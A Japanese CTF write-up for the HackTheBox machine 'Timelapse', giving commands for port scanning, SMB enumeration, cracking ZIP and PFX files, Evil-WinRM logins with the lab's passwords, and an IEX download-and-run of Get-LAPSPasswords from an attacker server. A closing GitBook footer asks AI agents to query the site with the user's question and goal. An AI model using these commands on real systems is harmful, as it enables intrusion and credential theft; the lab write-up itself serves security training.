> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md). # TimeLapse HackTheBox攻略記事 SMB列挙、ZIPパスワード保護ファイルのクラック（fcrackzip）、.PFXファイルのクラックと読み取り（crackpkcs12）、Evil {% embed url="" %} {% hint style="warning" %} **スキル:** * SMB列挙 * ZIPパスワード保護ファイルの解読 (fcrackzip) * .PFXファイルの解読と読み取り (crackpkcs12) * Evil-WinRMでSSLアクセスを取得 * 情報漏えい - ユーザーのPowerShell履歴を読む（ユーザーピボット） * LAPSを悪用してパスワードを取得（Get-LAPSPasswords.ps1）（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.152 -oG allPorts ```

**extractportによる開放ポートの解析：**/ extractport関数を使用して、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

**Nmapでのポートバージョンスキャン：**/ Nmapを使用してサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存する: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49726,59126 10.10.11.152 -oN targeted ```

#### DNS解決のための /etc/hosts ファイルの設定。

## **列挙と侵入：** ### マシン名とドメインを特定する CrackMapExec を使用して、マシン名とそのドメインを特定する。 ```bash crackmapexec smb 10.10.11.152 ```

### SMB 共有ファイルを列挙する： smbclient と smbmap を使用して共有ファイルを列挙する。 ```bash smbclient -L 10.10.11.152 -N ```

```bash smbmap -H 10.10.11.152 -u 'null' ```

### **共有フォルダへのアクセスと、パスワード保護された ZIP ファイルの発見** 共有フォルダ内のファイルを探索して特定し、保護された ZIP ファイルを明らかにする。 ```bash smbclient //10.10.11.152/Shares -N ```

### **fcrackzip による ZIP ファイルのクラック** fcrackzip を使って ZIP ファイルのパスワードを見つける。 ```bash fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt winrm_backup.zip ```

### **PFXファイルからの抽出**

```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes ```

### **PFXファイルのパスワードをクラックする：** #### pfx ファイルのパスワードを解析するために、crackpkcs12 ツールを使用する。 {% embed url="" %} ```bash crackpkcs12 -d /usr/share/wordlists/rockyou.txt legacyy_dev_auth.pfx ```

### **PFX ファイルから秘密鍵と証明書を取得する** 秘密鍵の復元

証明書の復元 ```bash openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem ```

### **秘密鍵と証明書を使った Evil-WinRM での SSL 接続**

```bash evil-winrm -i 10.10.11.152 -c certificate.pem -k priv-key.pem -S ```

### **最初のフラグを取得** 最初のフラグ「user.txt」を入手する

## 権限昇格： **net users と whoami /priv を使った DC ユーザーと権限の一覧** ドメインコントローラー上のユーザーと権限の特定。

#### **ユーザーグループの分析と、ユーザー「svc/ deploy」が「LAPS/ Readers」グループのメンバーであることの発見**

#### **PowerShell の履歴を読んでユーザー「svc/ deploy」のパスワードを取得する** ```bash type AppData/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt ```

### **CrackMapExec によるパスワード検証** CrackMapExec を使ってパスワードの有効性を確認。 ```bash crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' ```

### **ユーザー認証情報「svc/ deploy」を使用して Evil-WinRM にログイン** Evil-WinRM を使って、ユーザー認証情報「svc/ deploy」でリモートシステムに接続する。

evil-winrm -i 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' -S

### **Get-LAPSPasswords を使ってパスワードを抽出する** {% embed url="" %} #### **Get-LAPSPasswords スクリプトをダウンロードする** ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.16.4/Get-LAPSPasswords.ps1') ```

### **スクリプトの実行と管理者パスワードの復元**

### **CrackMapExec による管理者パスワードの検証** CrackMapExec をユーザー Administrator から使用して、パスワードの有効性を確認。 ```basic crackmapexec smb 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' ```

### **管理者 ID を使った Evil-WinRM での最終接続** Evil-WinRM 経由で管理者認証情報を使ってシステムへ最終接続する。 ```bash evil-winrm -i 10.10.11.152 -u 'Administrator' -p '32x3WwoM$8}nr+jw0Z(wz)[@' -S ```

### **最終フラグ取得 :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/timelapse-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.